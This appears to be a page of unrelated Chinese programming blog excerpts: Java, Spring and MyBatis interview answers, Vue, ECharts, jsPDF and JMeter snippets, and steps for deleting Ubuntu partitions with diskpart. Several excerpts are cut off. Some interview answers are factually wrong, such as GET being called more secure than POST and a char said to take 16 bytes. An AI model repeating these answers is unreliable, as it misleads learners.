,属于依赖的关系SpringBoot专注于快速、方便的开发单个微服务个体,SpringCloud关注全局的服务治理框架。 使用 Spring Boot 开发分布式微服务时,我们面临以下问题 (1)与分布式系统相关的复杂性-这种开销包括网络问题,延迟开销,带宽问题。 (2)服务发现-服务发现工具管理群集中的流程和服务如何查找和互相交谈。它涉及一个服务目录,在该目录中注册服务,然后能够查找并连接到该目录中的服务。 (3)冗余-分布式系统中的冗余问题 (4)负载平衡 --负载平衡改善跨多个计算资源的工作负荷,诸如计算机,计算机集群,网络链路,中央处理单元,或磁盘驱动器的分布 (5)性能-问题 由于各种运营开销导致的性能问题。 (6)部署复杂性-Devops 技能的要求。 服务注册和发现是什么意思?Spring Cloud 如何实现? 当我们开始一个项目时,我们通常在属性文件中进行所有的配置。随着越来越多的服务开发和部署,添加和修改这些属性变得更加复杂。有些服务可能会下降,而某些位置可能会发生变化。手动更改属性可能会产生问题。 Eureka 服务注册和发现可以在这种情况下提供帮助。由于所有服务都在 Eureka 服务器上注册并通过调用 Eureka 服务器完成查找,因此无需处理服务地点的任何更改和处理。

java面试题——SpringBoot

什么是SpringBoot? SpringBoot是Spring开源组织下的子项目。是搭建Spring应用的脚手架,主要简化了使用Spring的难度,俭省了xml的配置,提供了各种启动器在运行过程中自动配置,可以快速的上手。 SpringBoot的优点? 容易上手,提升开发效率。 开箱即用,远离繁琐配置。 内嵌Tomcat。 没有代码生成,也不需要xml配置。 避免大量的Maven导入和各种版本冲突。 SpringBoot的常用注解? @SpringBootApplication 通常用在主类上包含了 @Repository 用来标注数据访问组件 就是Dao组件 @Service 标注业务层组件 @RestController 用来标注控制层组件,其中就包含了@Controller和@ResponseBody @Bean 把方法的返回值注入到Bean @AutoWired 可以对类、成员变量、方法及构造函数经行标注,完成自动装配工作。 @Resource() 如果括号中没有内容,则和@AutoWired干类似的事 @ConfigurationProperties 用来读取配置文件 @EnableConfigurationProperties 启用属性读取类 SpringBoot的核心配置文件? SpringBoot的核心配置文件时application和bootstrap配置文件, Application主要用用于SpringBoot项目的自动化配置。 BootStrap主要应用于使用SpringCloudConfig配置中心时,这时需要在bootstrap配置文件中添加连接到配置中心的配置属性来加载配置信息。 什么是JavaConfig? JavaConfig是Spring社区的产品,提供了SpringIOC容器的纯Java方法。因此他有助于避免使用XML配置。 SpringBoot的配置文件的格式? 主要有.Properties和.yml 你如何理解SpringBoot配置的加载顺序? 在SpringBoot中可以使用properties文件、yml文件、系统环境变量、命令行参数来加载配置。 运行SpringBoot有哪几种方式? 打包用命令或者放到容器中运行 使用Maven插件运行 直接执行main方法 SpringBoot自动配置的原理是什么? 首先SpringBoot的自动装配离不开SPI机制,这个机制可以自动加载文件里所定义的类。 在程序启动时,启动类中有一个SpringBootApplication注解,其中包含了EnableOutoConfiguration,这个注解就是开启自动装配。然后导入importselector的实现类,调用指定的方法,加载spring.factories配置文件中key为EnableAutoConfiguration对应的value值。然后结合Spring的Conditional(康地市闹)注解将符合条件的配置类加载进去。 如何理解SpringBoot中的Starters? Starters可以理解为一个启动器,包含了一系列可以集成到应用里的依赖包。可以一键式集成Spring和其他技术。 如何在SpringBoot启动的时候运行一些特定的代码? 可以实现接口ApplicationRunner或者CommandLineRunner,这两个接口实现方式一样,他们都提供了一个run方法。 SpringBoot有几种读取配置的方式? 读取application文件 通过@Value注解读取方式 通过@ConfigurationProperties注解读取方式 通过@PropertySource+@ConfigurationProperties注解读取方式 读取指定文件,就是在资源目录下建立config.properties 使用Environment读取方式。 SpringBoot实现热部署有几种方式? 使用 devtools 启动热部署,添加 devtools 库,在配置文件中把 spring. devtools. restart. enabled 设置为 true; 使用 Intellij Idea 编辑器,勾上自动编译或手动重新编译。

java面试题——mybatis

如何避免sql注入? 可以使用预处理PreparedStatement,或者使用正则表达式过滤掉字符中的特殊字符。 Mybatis的优缺点? 优点: 基于SQL语句编程,相当灵活。与JDBC相比,减少了代码量,消除了大量冗余的代码,不需要手动开关连接;并且能和Spring很好的集成。 缺点: Sql语句的编写工作量大,尤其当字段多,关联表多时。对编写sql语句的功底有一定的要求。数据库移植性差,不能随意更换数据库。 mybatis中#和$的区别? #为参数占位符,也就是sql预编译,在DBMS中进行变量替换,替换后会自动加上单引号,能够有效防止sql注入 $为字符串替换,也就是sql拼接,在DBMS外进行变量替换,替换后不会自动加单引号,不能防止sql注入。 Mysql的一级,二级缓存? 一级缓存是基于sqlsession默认开启的,需要创建sqlsession对象,是使用hahmap来存储的,不同的sqlsession之间是互不影响的,当在同一个sqlsession中查询两次数据时,第一次查询完数据后会将数据写入到缓存中,第二次就会在缓存中直接获取数据,提高查询效率。 二级缓存和一级缓存的机制相同,也是使用hsahmap来存储,不同点是她的作用域是mapper,可以自定义存储源,默认不打开二级缓存,sqlsession之间是共享的,可能存在脏读或者脏写的情况。 Xml映射文件中除了常见的select、insert、update、delete标签之外,还有那些标签? 、、、、、、、、、、 为什么说Mybatis是半自动ORM映射工具?他与全自动的区别在哪里? Hibernate就属于全自动ORM映射工具,使用Hibernate查询对象时,可以根据对象的关系模型直接获取。所以是全自动的,Mybatis需要手动编写SQL。所以是半自动ORM映射工具。 Mybatis动态sql是做什么的?都有那些动态sql?能简述一下动态sql的执行原理吗? Mybatis动态sql可以让我们在xml映射文件内,以标签的形式编写动态sql,完成逻辑判断和动态拼接sql的功能。其执行原理是使用OGNL从sql参数对象中计算表达式的值,根据表达式的值动态拼接sql,以此来完成动态sql的功能。 MySql优化: 首先是硬件方面的优化。 还有就是存储引擎的优化,事务型选择innoDB,非事务型选择MyISAM。 表结构设计的优化。符合三范式的要求。 开启查询缓存,当只需要一行数据时,使用limit1. 为搜索字段创建索引。 不使用select*。 为什么要使用自增列作为主键? 如果使用自增主键,那么每次插入数据就会按照是顺序依次插入,当一页写满时,就会开辟一个新的页面。如果使用非自增作为主键,那么每次插入的数据都很随机,其他数据就会因为新数据的插入而移动,增加了很多开销。 Mybatis是否支持延迟加载?如果支持。它的实现原理是什么? Mybatis仅支持一对一和一对多的延迟加载,在mybatis配置文件中,可以配置是否启动延迟加载lazyloadingEnabled=ture/false 原理是: 使用CGLIB创建目标对象的代理对象,当调用目标方法时,进入拦截器方法。比如当A调用B属性的名称时,发现是null。那么就会发送事先保存好的B对象的sql,进行查询,然后调用set方法,然后A对象B属性就有值了。接着完成调用就可以了。 数据库3大范式 1NF:保证每列字段不可以再拆分(原子性) 2NF:在1NF基础上,每张表只描述一件事 3NF在2NF基础上,确保数据表中的每一列数据都和主键直接相关,而不能间接相关。 SQL语句主要分为那几类? 数据定义语言DDL 数据查询语言DQL 数据操纵语言DML 数据控制功能DCL mysql数据库的存储引擎你知道哪些,有什么区别 1.MyISAM:不支持事务,不支持外键,适用于有大量的select操作的表,如 日志表,表级别锁 2.InnoDB(MySQL5.5以后默认使用):支持事务,支持外键关联,应用于执行大量的insert和update操作的行级别锁 Mysql关联查询有哪些? 交叉连接、内连接、外连接、联合查询、全连接 什么是子查询? 条件查询:一条sql语句的查询结果作为另一条查询语句的条件或查询结果。 嵌套查询:多条sql语句嵌套使用,内部的sql查询语句称为子查询。 Select*和select全部字段的两种写法有什么优缺点? 1.Slelect要解析数据字典,select全部字段不用 2.select输出顺序和建表列顺序相同,select全部字段按指定字段顺序; 3.Select不需要修改表字段名,后者需要改。 4.Select全部字段可以建立索引进行优化,select无法优化。 5.select全部字段可读性比select*高。 说一下乐观锁和悲观锁? 乐观锁: 每次去拿数据的时候都认为别人不会修改,所以不会上锁,但是在提交更新的时候会判断一下再此期间别人有没有去更新这个数据。 悲观锁:每次拿数据的时候都认为别人会修改,所以每次在拿数据的时候都会上锁,这样别人想拿这个数据就会阻止,直到 锁被释放。 数据库的乐观锁需要自己实现,在表里面添加一个version字段,每次修改成功值加1,这样每次修改的时候先对比一下,version是否一致,如果不一致就不修改,这样就实现了乐观锁。 如何解决bean中属性名和数据库字段名不一致? 在sql语句中使用别名,或者使用ResultMap结果集接受数据。 mybatis如何进行分页的? 使用rowbounds 插件进行分页。或者使用物理分页,直接在sql语句中,使用limit 进行分页查询。 Mybatis的Xml映射文件中,不同的Xml映射文件,id是否可以重复?

PostwomanApi接口测试工具

Hoppscotch是轻量级、基于 Web 的 API 开发套件。它是从头开始构建的,考虑到易用性和可访问性,为 API 开发人员提供了简约、不显眼的 UI 所需的所有功能。它是免费使用的,并且作为完全开源的额外福利! Github官网 postwoman 和 postman 简单对比 从名字上看,两个名字非常相近,至于为什么叫 postwoman 这个名字, 从功能上看,两个软件的使用方法和功能也非常相近,从界面即可一目了然。 它们也有一些区别: 1. postman 有些功能是收费的,当然,免费的功能已经足够平时的使用了。postwoman 是开源免费的,所有功能都可以免费使用。 2. postman 已经很成熟了,经过了很多开发者的检验。postwoman 还不成熟,肯定还有一些功能不完善,还有待检验。比如说 postwoman 网页主界面上的有些按钮,现在还仅仅是一个前端按钮,点击没有任何反应,后端还没有实现。 虽然 postwoman 还不够成熟,功能也只是替代 postman ,但是,新软件还是应该支持的,以便自己以后可以有更多的选择。 特征 ❤️ 轻量级:采用简约的 UI 设计精制而成。 ⚡️ 快速:实时发送请求和获取/复制响应。 HTTP 方法 GET 请求检索资源信息 POST 服务器在数据库中创建一个新条目 PUT 更新现有资源 PATCH 非常类似于PUT但对资源进行部分更新 DELETE 删除资源或相关组件 HEAD 检索与 GET 请求相同的响应标头,但没有响应正文。 CONNECT 建立到目标资源标识的服务器的隧道 OPTIONS 描述目标资源的通信选项 TRACE 沿着到目标资源的路径执行消息环回测试 <custom>- 一些 API 使用自定义请求方法,例如LIST输入您的自定义方法 部署 Postman使用手册

java面试题——web

什么是反射? 反射是在运行状态中,对于任何一个类,都知道它的所有属性和方法。对于任意一个对象,都能调用它的任意一个属性和方法,这种动态获取的信息就是java的反射机制。 什么是Java序列化?什么情况下需要序列化? Java序列化是为了保存各种对象在内存中的状态。并且可以把保存的对象状态在读出来。 以下情况需要使用java序列化: 想把的内存中的对象状态保存到一个文件中或者数据库中时候; 想用套接字在网络上传送对象的时候; 想通过RMI(远程方法调用)传输对象的时候。 动态代理是什么?有哪些应用? 动态代理是运行时动态生成代理类。 动态代理的应用有Spring aop,hibernate数据查询,Java注解对象获取等。 怎么实现动态代理? JDK 原生动态代理和 cglib 动态代理。JDK 原生动态代理是基于接口实现的,而 cglib 是基于继承当前类的子类实现的。 说说你对session的理解? session用来跟踪客户的状态。session指的是在一段时间内,客户和Web服务器一连串相关的交互过程。在一个session中,客户可能会多次请求同一个网页,或者访问不同的资源。就比如在电子邮件系统中,从一个客户登录到系统开始,收信,写信,发信等,到退出邮件系统,整个过程为一个session。 Session和cookie的区别? 存储位置不同:session存储在服务器端,cookie存储在浏览器端 安全性不同: cookie安全性一般,可以被伪造和修改。 存储的多样性:session可以存储在redis中,数据库中,应用程序中,而cookie只能存储在浏览器中。 说一下session的生命周期? 当客户端登录完成之后,服务器会创建session把session的id发送到客户端,客户端再存储在浏览器中。这样每次访问都会带着sessionid,服务器拿到id之后,在内存找到与之对应的session这样就可以正常工作了。 你常用的设计模式有哪些?都有什么作用? 单利模式:保证对象被创建一次,节省系统开销。 工厂模式:解耦代码 观察者模式:定义了对象之间的一对多的依赖,这样的话,当一个对象改变时,他的所有依赖者都会收到通知并自动更新。 什么是单例设计模式,及其应用方式? 单利模式是一种常用的设计模式,定义是单例对象的类只能允许一个实例存在。许多时候整个系统只需要一个全局对象,有利于协调系统整体的行为。 比如:在某个程序中,该服务器的配置信息存在一个文件中,这些配置数据由一个单例对象统一读取。然后其他对象再通过这个单例对象获取配置信息。这种方式简化了在复杂环境下的配置管理。 http响应码301和302有什么区别? 301:永久重定向 302:暂时重定向 区别是301对搜索引擎优化更加有利,302有被提示为网络拦截的风险。 简述tcp与udp的区别? Tcp和upd是OSI模型中的运输层中的协议,tcp提供可靠的通讯传输。而udp则被用于让广播和细节控制交给应用的通讯传输。 两者的区别如下: Tcp面向连接,udp面向非连接既发送数据前不需要建立连接。 Tcp提供可靠的服务,udp无法保证。 Tcp面向字节流,udp面向报文。 Tcp数据传输慢,udp数据传输快。 Tcp为什么要三次握手?两次不行吗?为什么? 如果采用两次握手,只要服务器发出确认数据包就会建立连接,客户端此时并未响应,这样的话,服务器端就会一直在等待客户端,就会造成资源浪费,若采用三次握手。服务器端没有收到来自客户端的再次确认,则就会知道客户端并没有要求建立请求,就不会浪费服务器资源。 OSI的七层模型都有那些? 物理层、数据链路层、网络层、传输层、会话层、表示层、应用层。 Post和get请求有哪些区别? Get请求会被浏览器主动缓存。Post不会。 Get有参数限制。而post没有。 Get参数传输更安全,会明文限制在url上。Post不会。 如何实现跨域? 在单个接口使用注解@CorssOrigin运行跨域。 使用jsonp跨域。 Jsonp的实现原理? Json withPadding 是利用script标签的src连接可以访问不同源的特性,加载远程返回的js函数来执行的。

java面试题——基础知识

JSP的九大内置对象? Request 代表了个客户端的请求信息 Response 代表的是对客户端的响应 Session 是由服务器自动创建的与用户请求相关的对象 Application 对象可将信息保存在服务器中 Exception 作用时显示异常信息 Page 对象代表JSP本身,只有在JSP页面内才是合法的。 PageContext 作用时取得任何范围的参数 Out 用于在Web浏览器内输出信息 Config 主要作用时取得服务器的配置信息 JDK1.8的新特性? Lambda表达式,函数式接口,方法引用和构造器调用,StreamAPI,接口中的默认方法和静态方法。新时间日期API。 一个".java"源文件中是否可以包括多个类(不是内部类)?有什么限制? 可以有多个类,但只能有一个public的类,并且类名必须与文件名相同。 Java中实现多态的机制是什么? 方法的重写(Overriding)和重载(Overloading),重写是父类和子类之中多态性的一种表现,重载是一个类中多态性的一种表现。 八种基本数据类型,以及他们的封装类: 八种基本数据类型:byte(1)、short(2)、int(4)、long(8)、float(4)、double(8)、boolean(1)、char(2)。 封装类分别是:Byte、Short、Integer、Long、Float、Double、Boolean、Character。 switch语句能否作用在byte上,能否作用在long上,能否作用在String上? 由于,byte,short,char都可以隐式转换为int,所以,它们和它们的封装类型都是可以的。long和String类型都不符合switch的语法规定,所以,它们不可以。但是在jdk1.7之后,引入了java的新特性,String可以作用在swtich语句中。 final在java中的作用? Final修饰的类叫最终类,这个类不能被继承。 Final修饰的方法不能被重写。 Final修饰的变量叫常量。常量必须初始化,初始化后的值就不能修改。 使用final关键字修饰一个变量时,是引用不能变,还是引用的对象不能变? 使用final关键字修饰一个变量时,是指引用变量不能变,引用变量所指向的对象中的内容还是可以改变的。 静态变量和实例变量的区别? 静态变量前要加static关键字,而实例变量前不加。 实例变量属于某个对象的属性,必须创建了实例对象,才能使用。静态变量是属于类,所以只要程序加载了类的字节码,静态变量就可以被使用了。 是否可以从一个静态方法内部发出对非静态方法的调用? 不可以。因为非静态方法是要与对象关联在一起的,必须创建一个对象后,才可以在该对象上进行方法调用,而静态方法可以直接调用。 普通类和抽象类的区别? 普通类中不可以包含抽象方法,而抽象类中可以包含抽象方法。 抽象类不可以直接实例化,而普通类可以直接实例化。 抽象类和接口的区别? 抽象类中可以包含抽象方法,也可以不包含抽象方法,而接口中必须全部都是抽象方法。 抽象类只能继承一个,而接口可以实现很多个。 抽象类中的成员变量可以是任何类型的,而接口中的成员变量必须全部都是public static final 类型的。 Java中,是什么构造函数,什么是构造函数重载,什么是复制构造函数? 当一个新的对象被创建之后。构造器会被调用,每一个类都有构造函数。在没有给类提供构造函数的情况下,java编译器会给这个类提供一个默认的构造函数。 构造函数重载类似于方法的重载,可以给一个类提供多个构造函数,每一个构造函数都有自己唯一的参数列表。 Java不支持像C++那样复制构造函数。这个不同点是因为如果不自己写构造函数的情况下,java不会创建默认的复制构造函数 什么是值传递?什么是引用传递? 对象被值传递,意味着传递了对象的一个副本。因此,就算改变了对象的副本,也不会影响源对象的值。 对象被引用传递,意味着传递的并不是实际的对象,而是对象的引用。因此,外部对引用对象所做的操作都会反映到所有对象上。 Char型变量中能否存储一个中文汉字,为什么? 因为java是以Unicode编码的,一个char占16个字节,所以放一个中文是没问题的。 重载Overload和重写Override的区别? 重载:发生在同一个类中,方法名必须相同,参数列表和返回值类型可以不同,发生在编译时期。 重写:发生在父子类中,方法名和参数列表必须相同,返回值类型必须小于等于父类。抛出的异常也要小于等于父类。 面向过程和面向对象的区别? 面向过程:面向过程性能比面向对象高,因为类调用时需要实例化开销比较大。所以当性能是唯一的考量因素时,推荐使用面向过程开发。 面向对象:因为面向对象有封装,继承,多态性的特性,更加易维护,易复用,易拓展。 jvm、jdk、jre的区别? jvm: 是运行java字节码的虚拟机。jvm有针对不同系统的特定实现,目前使用的相同的字节码,都会得出相同的结果。

$nextTick的使用

官网说法 nextTick() 可以在状态改变后立即使用,以等待 DOM 更新完成。你可以传递一个回调函数作为参数,或者 await 返回的 Promise。 $nextTick() 和全局版本的 nextTick() 的唯一区别就是组件传递给 this.$nextTick() 的回调函数会带上 this 上下文,其绑定了当前组件实例。 其实简单的理解就是,当你修改了data的值然后马上获取这个dom元素的值,是不能获取到更新后的值, 你需要使用$nextTick这个回调,让修改后的data值渲染更新到dom元素之后在获取,才能成功。举个栗子 openSubmenu() { this.show = true let w = this.$refs.submenu.offsetWidth; console.log(w) //获取不到宽度 this.$nextTick(() => //这里才可以 let w = this.$refs.submenu.offsetWidth; console.log(w) }) // setTimeout(function(){ // var aa =vm.$refs.mydiv.offsetWidth; // console.log(aa) // },0) } 你修改了show的值,让submenu显示出来,但是你不能马上获取改dom元素的offsetWidth值,这是为什么呢? 1、 dom更新:在vue中,你修改了data的某一个值,并不会立即反应到该ele中。vue将你对data的更 改放到watcher的一个对列中(异步),只有在当前任务空闲时才会去执行watcher队列任务。这就有一个延迟时间了。 2、当执行到$nextTick的时候,这是一个异步事件,他也会把这个事件放到一个队列当中,异步事件是 不会立即执行的代码,会被js处理器放到一个队列里,按照队列的顺序优先级等一个个按次序执行, 新添加的事件都会放在队列末尾。所以,当第一个也就是data的修改执行渲染在页面之后,这个时候执行$nextTick,就肯定能获取dom的东西la。 3、同理也是,创建一个setTimeout,他也会放到队列中,当上一个事件执行完之后,才会这个他这个事件,才会执行他里面的回调,也就能成功获取啦。

echarts 柱状图,分别给每个柱子设置不同的颜色

效果如图: 中见竖直的点划线为,markLine ,当markLike超出设定的数值时,颜色变成红色 代码如下:(复制代码,即可查看效果) 数据格式: var hl_YData =[6,9,5,8,10,1,4,2,1,2,2,2] var hl_XData = ["50-100","100-150","150-200","200-250","250-300","300-350","350-400","400-450","1450-1500","3750-3800","3800-3850","3850-3900"] var option = { tooltip: { trigger: 'item', }, label:{ // 标题的位置 position:'top', show:false }, xAxis: { type: 'category', data: hl_XData, name:'mΩ', nameTextStyle:{ // name的样式 color:"#fff" }, axisLabel:{ interval:0, rotate:60, textStyle: { color: "#fff", fontSize:'10px', }, }, axisTick: { show: false }, axisLine: {//x轴线的颜色以及宽度 show: true, lineStyle: { color: "#fff", type: "solid", width: 1 } }, }, yAxis: { type: "

Vue3中Element-Plus的el-upload清空上传文件(最简单明了)

核心技术: //取消上传,清空上传文件 function doClear () { uploadrefss.value.clearFiles() } 汇总 <template> <div> <el-button type="primary" disabled @click="doClear">清空上传文件</el-button> </div> <div> <el-upload class="upload-demo" drag action="https://run.mocky.io/v3/9d059bf9-4660-45f2-925d-ce80ad6c4d15" multiple ref="uploadrefss" > <el-icon class="el-icon--upload"><upload-filled /></el-icon> <div class="el-upload__text"> Drop file here or <em>click to upload</em> </div> <template #tip> <div class="el-upload__tip"> jpg/png files with a size less than 500kb </div> </template> </el-upload> </div> </template> <script setup lang="ts"> import { UploadFilled } from '@element-plus/icons-vue' //取消上传,清空上传文件 function doClear () { uploadrefss.value.clearFiles() } </script> 获取文章流量推荐曝光度随便胡说八道两句 vue3.

win10+ubuntu16双系统卸载流程及问题总结

这篇主要是自己卸载ubuntu的一些流程与小问题总结,卸载的时候也参考了很多别人的案例,算是穿插着步骤来的,因为是小白上手,所以也不知道具体哪一步起了效用,但是最终结果就是成功卸载。 查看启动方式 启动方式主要有两种:legacy(传统)+UMBR和EFI+GBT,直接查看分区方式或者BIOS都可以。 查看分区方式流程: 电脑——属性——管理——磁盘管理——磁盘x——属性——卷——磁盘分区方式 查看BIOS: windows+R,键入命令行:msinfo32,查看BIOS模式 删除ubuntu分区 找到Ubuntu对应的分区用以下删除方式进行删除,管理员模式下运行cmd,具体命令顺序含义如下: diskpartlist diskselect disk(选择自己安装Ubuntu系统的磁盘,例如磁盘0,则命令行为:select disk 0)list partitionselect partition 0(数字0为选择的Ubuntu分区)delete partition override 重复选择Ubuntu的分区删除即可。 利用MbrFix修复 看其他成功案例有提到对于MBR分区,Ubuntu的启动方式被写入了MBR里面,所以不仅仅是简单的删除分区,还需要使用MbrFix程序进行修复,流程如下: 修复软件MbrFix,可以在网上下载,注意下载的时候需要根据电脑配置,有32位和64位的,按需下载。 将其保存在c盘系统的根目录下,如C:\Windows\System32以管理员身份运行cmd,键入命令行:MbrFix /drive 0 fixmbr 注意这一步首先MbrFix之后空格再键入/,其中的数字0是Ubuntu系统启动程序所在磁盘。 如果命令行没有空格会出现如下错误: 删除ubuntu的开机引导 使用EasyBCD软件,其中有编辑引导菜单,将双系统中的另一个Ubuntu系统的引导点击删除即可。 后续检查,确定系统已经删除完毕 电脑——属性——高级系统设置——高级——启动与故障恢复设置,默认系统只有一个即可。

【python】turtle

文章目录 1 基本功能2 小猪佩奇2.1 背景2.2 代码实现2.3 运行 3 画老虎4 if __name__ == '__main__' 1 基本功能 画布设置 setup(width, height, x, y): 设置窗口大小和窗口左上角在屏幕中的位置。title(): 设置窗口的标题。screensize(width, height, color): 设置画布大小,背景颜色。done(): 绘图结束后,不自动关闭窗口。 画笔设置 pencolor(color): 设置画笔颜色。 width(): 设置画笔宽度。 speed(int): 设置画笔的速度,传入1~10的数字,1最慢,10最快。传入其他值会更快,但是没有鼠标移动的动画效果。 penup(): 提起画笔,提起后移动画笔不会留下痕迹。 pendown(): 落下画笔,开始绘图前先将画笔落下。 setx(value): 设置画笔的x轴坐标。 sety(value): 设置画笔的y轴坐标。 towards(x, y): 设置画笔指向的点。 setheading(): 设置画笔的方向。与towards()配合可以设置画笔指向某个点,如- - - setheading(towards(0, 0))可以设置画笔指向原点。 pos(): 返回画笔当前的坐标。鼠标移动一段时间后可以print()打印此函数获取鼠标位置。 heading(): 返回画笔当前的方向。 画笔操作 circle(radius[, extent=arc]): 画一个圆,传入圆的半径,根据画笔的方向控制圆心的位置,圆心与画笔的方向垂直。传入弧度值可以画出指定弧度的圆弧。left(angle): 画笔左转,传入任意一个目标角度。right(angle): 画笔右转。forward(distance): 画笔前进一段距离。backward(distance): 画笔后退一段距离。goto(x, y): 移动画笔到指定坐标。 颜色填充 begin_fill(): 开始填充。fillcolor(color): 设置图形中填充的颜色。end_fill(): 结束填充。 2 小猪佩奇 用 python 的 turtle 库画一个佩奇,这种老套路也可以用来表白,画爱心什么的……贼老套!

jspdf用法

介绍一下纯jspdf用法,将一个图片列表导出为pdf文件,根据图片宽高计算在pdf中的位置 jsPDF 是一个基于 HTML5 的客户端解决方案,用于生成各种用途的 PDF 文档。 官网地址:https://rawgit.com/MrRio/jsPDF/master/docs/ 1、安装:npm install jspdf 2、引入:import jsPDF from "jspdf" 3、使用: let pdf = new jsPDF('p', 'pt', [pdfX, pdfY]); 第一个参数: l:横向 p:纵向 第二个参数:测量单位("pt","mm", "cm", "m", "in" or "px") 第三个参数:可以是下面格式,默认为“a4” a0 - a10b0 - b10c0 - c10dllettergovernment-letterlegaljunior-legalledgertabloidcredit-card 默认为“a4”。如果您想使用自己的格式,只需将大小作为数字数组传递,例如[595.28, 841.89]; 4、常用操作: pdf.addPage() 在PDF文档中添加新页面,参数如下,也可以不设置,默认a4 pdf.addImage() 将图像添加到PDF,addImage参数设置如下: 删除某页pdf: let targetPage = pdf.internal.getNumberOfPages(); //获取总页 pdf.deletePage(targetPage); // 删除目标页 保存pdf文档: pdf.save(`测试.pdf`); Example: 1、导出一整页pdf文件,根据图片高度动态设置pdf的位置,根据自己的数据格式组装导出方法 /** * 导出PDF一页 PDF中的页面宽度或高度不能超过14400个userUnit。jsPDF将宽度/高度限制为14400 * @param pageList */ const exportPdf = (pageList: any) => { let [imgX, imgY] = [595.

Jmeter生成HTML报告解读

文章目录 1 使用命令生产HTML报告2 HTMl报告解读3 HTML压测报告 Chats报表讲解 1 使用命令生产HTML报告 注:在cmd中输入下面这条指令 jmeter -n -t 在Jmeter保存的.jmx文件路径 -l results.jtl【指定要生产的.jtl文件名】 -e -o E:\report【最后HTML报告要保存的路径】 解读脚本-n -o的含义 -h帮助 -n 非GUI模式 -t 指定要运行的 Jmeter 测试脚本文件 -l 记录结果的文件,每次运行之前,(要确保之前没有运行过,即xxx.jtl,不然报错) -r Jmeter.properties文件中指定的所以远程服务器 -e 在脚本运行结束后生成HTML 报告 -o 用于存放HTML报告的目录,(目录要为空,不然也会报错) 最后找到HTML保存的路径找到index.html文件,打开它就是我们生成的HTML报告 2 HTMl报告解读 Test and Report informations 包含以下 source file:生成的jtl文件名Start Time:压测起始时间End Time:压测结束时间Filter for display:过滤器Lable:sampler采样器名称(http请求的名称) APDX(Application performance Index) 1.apdex:应用程序性能指标,范围在0~1之间,1表示到达所有用户均满意 T(Toleration threshold):可接受阀值 F(Frustration threshold):失败阀值 Requests Summary FALL:失败率 红色 PASS:通过率,成功率 绿色 Statistics 统计数据 lable:sampler采样器名称(http请求的名称) samples:并发数 FALL:失败次数

异步编程(async 和 await)

1.概念 异步编程是一项关键技术,可以直接处理多个核心上的I/O阻塞和并发操作 2.使用场景 对于存在IO密集型(例如从网路请求数据、访问数据库和写入到文件系统)和CPU密集型(例如大量的计算)的任务可以选择异步编程 3.异步编程针对于IO密集型任务的优点 针对于服务器端和客户端分别描述 服务器端: a:由于没有专门的用于阻止未完成任务的线程,因此服务器线程可以服务更多的Web请求。 b:现模拟假设一个场景,有两台服务器,都只有5个线程可用于服务请求,一台运行异步代码,一台不运行异步代码。 假设这两台服务器都接收6个并发请求,每个请求执行一个I/O操作,未运行异步代码的服务器必须对6个请求排队直到5个线程中的一个完成了I/O密集型工作并编写了响应。假如此时收到了20个请求,由于队列太长,服务器可能开始变慢。运行有异步代码的服务器也需要对6个请求排队,但由于使用了async 和 await,I/O密集型工作开始时,每个线程都会得到释放,无需等到工作结束,收到第20个请求时,传入请求队列将变得很小(如果其中还有请求的话),且服务器不会变慢。 c:由于I/O操作在CPU上几乎没有耗时,所以将整个CPU线程专用于执行几乎没有任何作用的工作将是一种资源浪费。 客户端: a:使用了async和await对于客户端应用带来的最大好处在于提高了响应能力。例如:手机游戏等应用,在涉及IO时尽可能少的影响UI线程,这点至关重要。 4.异步编程针对于CPU密集型任务的优点 服务器端: 使用异步编程可以开启另外一个线程来处理这一个CPU密集型的任务,另外一个线程就有可能是多核CPU情况下的另一个核,从而充分的利用了多核CPU的优势。 客户端: 此优点和上述针对IO密集型任务的一致 5.I/O密集型和CPU密集型任务的异步编程模型 大多数场景下: 对于I/O密集型,await 异步方法(aysnc修饰的返回Task或者Task<T>) 对于CPU密集型,await 异步方法(Task.Run()一个新的任务) 6.示例代码展示 I/O密集型: private static readonly HttpClient s_client = new HttpClient(); static async Task Main(string[] args) { Console.WriteLine("ThreadId:"+Thread.CurrentThread.ManagedThreadId); var result = await GetHtmlAsync(); Console.WriteLine("内容长度:"+result.Length); Console.WriteLine("ThreadId:" + Thread.CurrentThread.ManagedThreadId); } static Task<string> GetHtmlAsync() { Console.WriteLine("ThreadId:" + Thread.CurrentThread.ManagedThreadId); var uri = new Uri("https://www.dotnetfoundation.org"); return s_client.GetStringAsync(uri); } 输出的结果是:

Android Studio编译动态替换清单文件AndroidManifest.xml内容(找不到AndroidManifest路径问题解决)

4.+ applicationVariants.all { variant -> variant.outputs.all { output -> output.processManifest.doLast { def outputDir = multiApkManifestOutputDirectory.asFile.get() String manifestPath = "$outputDir/AndroidManifest.xml" def manifestContent = file(manifestPath).getText() manifestContent = manifestContent.replaceFirst('替换原文','替换内容') file(manifestPath).write(manifestContent) } } applicationVariants.all { variant -> //参数配置 variant.outputs[0].processManifest.doLast { def manifestFile = "${manifestOutputDirectory}/AndroidManifest.xml" def updatedContent = new File(manifestFile).getText('UTF-8') .replaceAll("UMENG_APPKEY_VALUE", "-") //友盟appkey .replaceAll("QQ_APPID_VALUE", "-") //QQappId .replaceAll("QQ_APPKEY_VALUE", "-") //QQappkey .replaceAll("WX_APPID_VALUE", "-") //微信appId .replaceAll("WX_APPKEY_VALUE", "-") //微信appkey new File(manifestFile).write(updatedContent, 'UTF-8') } } 习惯性的模块里面的很多东西能在gradle配置的我都喜欢在gradle上面配置,今天做项目的时候获取清单文件找不到路径,尴尬,之后去看了一下编译目录,发现之前的目录都没有了,于是搜索了一番AndroidManifest.xml到底在哪里,我现在的环境是3.2的,找到在下图的位置 以前的: 直接写死测试了一下,替换AndroidManifest.xml的参数值,最后发现就是这个清单文件,不过直接写死感觉很不灵活,后来去谷歌了一番,在官方里面的已知问题里面找到了一个更简单的获取参数 ${manifestOutputDirectory}